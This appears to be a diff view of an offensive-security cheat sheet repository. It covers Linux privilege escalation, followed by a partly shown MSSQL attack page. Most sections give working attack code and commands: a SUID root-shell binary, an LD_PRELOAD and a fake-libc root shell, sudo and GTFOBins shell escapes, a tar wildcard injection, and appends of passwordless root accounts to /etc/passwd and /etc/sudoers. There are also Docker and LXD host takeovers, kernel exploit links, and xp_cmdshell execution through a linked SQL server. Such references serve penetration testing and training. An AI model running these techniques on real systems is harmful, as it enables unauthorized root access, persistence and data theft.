```powershell
systemctl list-timers --all
NEXT LEFT LAST PASSED UNIT ACTIVATES
Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service
Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
3 timers listed.
```
## SUID
SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`.
```powershell
╭─swissky@lab ~
╰─$ ls /usr/bin/sudo -alh
-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo
```
### Find SUID binaries
```bash
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
```
### Create a SUID binary
| Function | Description |
|------------|---|
| setreuid() | sets real and effective user IDs of the calling process |
| setuid() | sets the effective user ID of the calling process |
| setgid() | sets the effective group ID of the calling process |
```bash
print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
```
## Capabilities
### List capabilities of binaries
```powershell
╭─swissky@lab ~
╰─$ /usr/bin/getcap -r /usr/bin
/usr/bin/fping = cap_net_raw+ep
/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin = cap_net_bind_service+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/rsh = cap_net_bind_service+ep
/usr/bin/rcp = cap_net_bind_service+ep
```
### Edit capabilities
```powershell
/usr/bin/setcap -r /bin/ping # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add
```
### Interesting capabilities
Having the capability =ep means the binary has all the capabilities.
```powershell
$ getcap openssl /usr/bin/openssl
openssl=ep
```
Alternatively the following capabilities can be used in order to upgrade your current privileges.
```powershell
cap_dac_read_search # read anything
cap_setuid+ep # setuid
```
Example of privilege escalation with `cap_setuid+ep`
```powershell
$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
```
| Capabilities name | Description |
|---|---|
| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing |
| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log |
| CAP_BLOCK_SUSPEND | This feature can block system suspends |
| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs |
| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks |
| CAP_DAC_READ_SEARCH | This only bypass file and directory read/execute permission checks |
| CAP_FOWNER | This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file |
| CAP_KILL | Allow the sending of signals to processes belonging to others |
| CAP_SETGID | Allow changing of the GID |
| CAP_SETUID | Allow changing of the UID |
| CAP_SETPCAP | Helps to transferring and removal of current set to any PID |
| CAP_IPC_LOCK | This helps to lock memory |
| CAP_MAC_ADMIN | Allow MAC configuration or state changes |
| CAP_NET_RAW | Use RAW and PACKET sockets |
| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports |
## SUDO
Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER)
### NOPASSWD
Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.
```bash
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```
In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`.
```bash
sudo vim -c '!sh'
sudo -u root vim -c '!sh'
```
### LD_PRELOAD and NOPASSWD
If `LD_PRELOAD` is explicitly defined in the sudoers file
```powershell
Defaults env_keep += LD_PRELOAD
```
Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles`
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
```
Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD=<full_path_to_so_file> <program>`, e.g: `sudo LD_PRELOAD=/tmp/shell.so find`
### Doas
There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf`
```bash
permit nopass demo as root cmd vim
```
### sudo_inject
Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject)
```powershell
$ sudo whatever
[sudo] password for user:
# Press <ctrl>+c since you don't have the password.
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
```
Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf)
### CVE-2019-14287
```powershell
# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
# If you have a full TTY, you can exploit it like this
sudo -u#-1 /bin/bash
sudo -u#4294967295 id
```
## GTFOBins
[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.
> gdb -nx -ex '!sh' -ex quit
> sudo mysql -e '\! /bin/sh'
> strace -o /dev/null /bin/sh
> sudo awk 'BEGIN {system("/bin/sh")}'
## Wildcard
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy.
```powershell
# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
# vulnerable script
tar cf archive.tar *
```
Tool: [wildpwn](https://github.com/localh0t/wildpwn)
## Writable files
List world writable files on the system.
```powershell
find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null
```
### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)
/etc/sysconfig/network-scripts/ifcfg-1337 for example
```powershell
NAME=Network /bin/id &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337
```
src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
### Writable /etc/passwd
First generate a password with one of the following commands.
```powershell
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Then add the user `hacker` and add the generated password.
```powershell
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
You can now use the `su` command with `hacker:hacker`
Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.
```powershell
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`.
### Writable /etc/sudoers
```powershell
echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers
```
## NFS Root Squashing
When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it.
```powershell
# remote check the name of the folder
showmount -e 10.10.10.10
# create dir
mkdir /tmp/nfsdir
# mount directory
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir
cd /tmp/nfsdir
# copy wanted shell
cp /bin/bash .
# set suid permission
chmod +s bash
```
## Shared Library
### ldconfig
Identify shared libraries with `ldd`
```powershell
$ ldd /opt/binary
linux-vdso.so.1 (0x00007ffe961cd000)
vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)
```
Create a library in `/tmp` and activate the path.
```powershell
gcc Wall fPIC shared o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary
```
### RPATH
```powershell
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable.
```powershell
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
```
Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```powershell
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
```
## Groups
### Docker
Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`.
```bash
$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```
Almost similar but you will also see all processes running on the host and be connected to the same NICs.
```powershell
docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash
```
Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell
```powershell
$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete
354c3661655e: Pull complete
91930878a2d7: Pull complete
a3ed95caeb02: Pull complete
489b110c54dc: Pull complete
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)
```
More docker privilege escalation using the Docker Socket.
```powershell
sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
### LXC/LXD
The privesc requires to run a container with elevated privileges and mount the host filesystem inside.
```powershell
╭─swissky@lab ~
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)
```
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```powershell
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatively https://github.com/initstring/lxd_root
## Hijack TMUX session
Require a read access to the tmux socket : `/tmp/tmux-1000/default`.
```powershell
export TMUX=/tmp/tmux-1000/default,1234,0
tmux ls
```
## Kernel Exploits
Precompiled exploits can be found inside these repositories, run them at your own risk !
* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits)
* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/)
The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a`
Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.
### CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
```
https://www.exploit-db.com/exploits/50808
```
### CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
```powershell
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
```powershell
https://www.exploit-db.com/exploits/15285/
```
### CVE-2010-4258 (Full Nelson)
Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
```powershell
https://www.exploit-db.com/exploits/15704/
```
### CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
```powershell
https://www.exploit-db.com/exploits/18411
```
## References
- [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/)
- [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html)
- [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)
- [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/)
- [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html)
- [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/)
- [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject)
* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html)
* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf)
* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md)
* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/)

View File

@@ -1,670 +1,61 @@
# MSSQL Server # MSSQL Server
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/mssql-server-cheatsheet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/)
* [Identify Instances and Databases](#identifiy-instaces-and-databases) - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#tools)
* [Discover Local SQL Server Instances](#discover-local-sql-server-instances) - [Identify Instances and Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-instaces-and-databases)
* [Discover Domain SQL Server Instances](#discover-domain-sql-server-instances) - [Discover Local SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-local-sql-server-instances)
* [Discover Remote SQL Server Instances](#discover-remote-sql-instances) - [Discover Domain SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-domain-sql-server-instances)
* [Identify Encrypted databases](#identifiy-encrypted-databases) - [Discover Remote SQL Server Instances](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#discover-remote-sql-instances)
* [Version Query](#version-query) - [Identify Encrypted databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identifiy-encrypted-databases)
* [Identify Sensitive Information](#identify-sensitive-information) - [Version Query](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#version-query)
* [Get Tables from a Specific Database](#get-tables-from-specific-databases) - [Identify Sensitive Information](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#identify-sensitive-information)
* [Gather 5 Entries from Each Column](#gather-5-entries-from-each-column) - [Get Tables from a Specific Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#get-tables-from-specific-databases)
* [Gather 5 Entries from a Specific Table](#gather-5-entries-from-a-specific-table) - [Gather 5 Entries from Each Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-each-column)
* [Dump common information from server to files](#dump-common-information-from-server-to-files) - [Gather 5 Entries from a Specific Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-5-entries-from-a-specific-table)
* [Linked Database](#linked-database) - [Dump common information from server to files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#dump-common-information-from-server-to-files)
* [Find Trusted Link](#find-trusted-link) - [Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#linked-database)
* [Execute Query Through The Link](#execute-query-through-the-link) - [Find Trusted Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-trusted-link)
* [Crawl Links for Instances in the Domain](#crawl-links-for-instances-in-the-domain) - [Execute Query Through The Link](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-query-through-the-link)
* [Crawl Links for a Specific Instance](#crawl-links-for-a-specific-instance) - [Crawl Links for Instances in the Domain](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-instances-in-the-domain)
* [Query Version of Linked Database](#query-version-of-linked-database) - [Crawl Links for a Specific Instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#crawl-links-for-a-specific-instance)
* [Execute Procedure on Linked Database](#execute-procedure-on-linked-database) - [Query Version of Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-version-of-linked-database)
* [Determine Names of Linked Databases ](#determine-names-of-linked-databases) - [Execute Procedure on Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-procedure-on-linked-database)
* [Determine All the Tables Names from a Selected Linked Database](#determine-all-the-tables-names-from-a-selected-linked-database) - [Determine Names of Linked Databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-names-of-linked-databases)
* [Gather the Top 5 Columns from a Selected Linked Table](#gather-the-top-5-columns-from-a-selected-linked-table) - [Determine All the Tables Names from a Selected Linked Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#determine-all-the-tables-names-from-a-selected-linked-database)
* [Gather Entries from a Selected Linked Column](#gather-entries-from-a-selected-linked-column) - [Gather the Top 5 Columns from a Selected Linked Table](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-the-top-5-columns-from-a-selected-linked-table)
* [Command Execution via xp_cmdshell](#command-execution-via-xp_cmdshell) - [Gather Entries from a Selected Linked Column](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#gather-entries-from-a-selected-linked-column)
* [Extended Stored Procedure](#extended-stored-procedure) - [Command Execution via xp_cmdshell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell)
* [Add the extended stored procedure and list extended stored procedures](#add-the-extended-stored-procedure-and-list-extended-stored-procedures) - [Extended Stored Procedure](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#extended-stored-procedure)
* [CLR Assemblies](#clr-assemblies) - [Add the extended stored procedure and list extended stored procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#add-the-extended-stored-procedure-and-list-extended-stored-procedures)
* [Execute commands using CLR assembly](#execute-commands-using-clr-assembly) - [CLR Assemblies](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#clr-assemblies)
* [Manually creating a CLR DLL and importing it](#manually-creating-a-clr-dll-and-importing-it) - [Execute commands using CLR assembly](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-clr-assembly)
* [OLE Automation](#ole-automation) - [Manually creating a CLR DLL and importing it](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manually-creating-a-clr-dll-and-importing-it)
* [Execute commands using OLE automation procedures](#execute-commands-using-ole-automation-procedures) - [OLE Automation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#ole-automation)
* [Agent Jobs](#agent-jobs) - [Execute commands using OLE automation procedures](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-using-ole-automation-procedures)
* [Execute commands through SQL Agent Job service](#execute-commands-through-sql-agent-job-service) - [Agent Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#agent-jobs)
* [List All Jobs](#list-all-jobs) - [Execute commands through SQL Agent Job service](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#execute-commands-through-sql-agent-job-service)
* [External Scripts](#external-scripts) - [List All Jobs](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-jobs)
* [Python](#python) - [External Scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#external-scripts)
* [R](#r) - [Python](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#python)
* [Audit Checks](#audit-checks) - [R](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#r)
* [Find and exploit impersonation opportunities](#find-and-exploit-impersonation-opportunities) - [Audit Checks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#audit-checks)
* [Find databases that have been configured as trustworthy](#find-databases-that-have-been-configured-as-trustworthy) - [Find and exploit impersonation opportunities](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-and-exploit-impersonation-opportunities)
* [Manual SQL Server Queries](#manual-sql-server-queries) - [Find databases that have been configured as trustworthy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-databases-that-have-been-configured-as-trustworthy)
* [Query Current User & determine if the user is a sysadmin](#query-current-user--determine-if-the-user-is-a-sysadmin) - [Manual SQL Server Queries](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#manual-sql-server-queries)
* [Current Role](#current-role) - [Query Current User & determine if the user is a sysadmin](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#query-current-user--determine-if-the-user-is-a-sysadmin)
* [Current DB](#current-db) - [Current Role](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-role)
* [List all tables](#list-all-tables) - [Current DB](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#current-db)
* [List all databases](#list-all-databases) - [List all tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-tables)
* [All Logins on Server](#all-logins-on-server) - [List all databases](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-databases)
* [All Database Users for a Database](#all-database-users-for-a-database) - [All Logins on Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-logins-on-server)
* [List All Sysadmins](#list-all-sysadmins) - [All Database Users for a Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#all-database-users-for-a-database)
* [List All Database Roles](#list-all-database-role) - [List All Sysadmins](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-sysadmins)
* [Effective Permissions from the Server](#effective-permissions-from-the-server) - [List All Database Roles](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#list-all-database-role)
* [Effective Permissions from the Database](#effective-permissions-from-the-database) - [Effective Permissions from the Server](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-server)
* [Find SQL Server Logins Which can be Impersonated for the Current Database](#find-sql-server-logins-which-can-be-impersonated-for-the-current-database) - [Effective Permissions from the Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#effective-permissions-from-the-database)
* [Exploiting Impersonation](#exploiting-impersonation) - [Find SQL Server Logins Which can be Impersonated for the Current Database](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#find-sql-server-logins-which-can-be-impersonated-for-the-current-database)
* [Exploiting Nested Impersonation](#exploiting-nested-impersonation) - [Exploiting Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-impersonation)
* [MSSQL Accounts and Hashes](#mssql-accounts-and-hashes) - [Exploiting Nested Impersonation](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#exploiting-nested-impersonation)
* [References](#references) - [MSSQL Accounts and Hashes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#mssql-accounts-and-hashes)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#references)
## Identify Instances and Databases
### Discover Local SQL Server Instances
```ps1
Get-SQLInstanceLocal
```
### Discover Domain SQL Server Instances
```ps1
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
```
### Discover Remote SQL Server Instances
```ps1
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
```
### Identify Encrypted databases
Note: These are automatically decrypted for admins
```ps1
Get-SQLDatabase -Username sa -Password Password1234 -Instance "<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
```
### Version Query
```ps1
Get-SQLInstanceDomain | Get-Query "select @@version"
```
## Identify Sensitive Information
### Get Tables from a Specific Database
```ps1
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand> -NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
```
### Gather 5 Entries from Each Column
```ps1
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
```
### Gather 5 Entries from a Specific Table
```ps1
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from <DatabaseName>.dbo.<TableName>'
```
### Dump common information from server to files
```ps1
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
```
## Linked Database
### Find Trusted Link
```sql
select * from master..sysservers
```
### Execute Query Through The Link
```sql
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
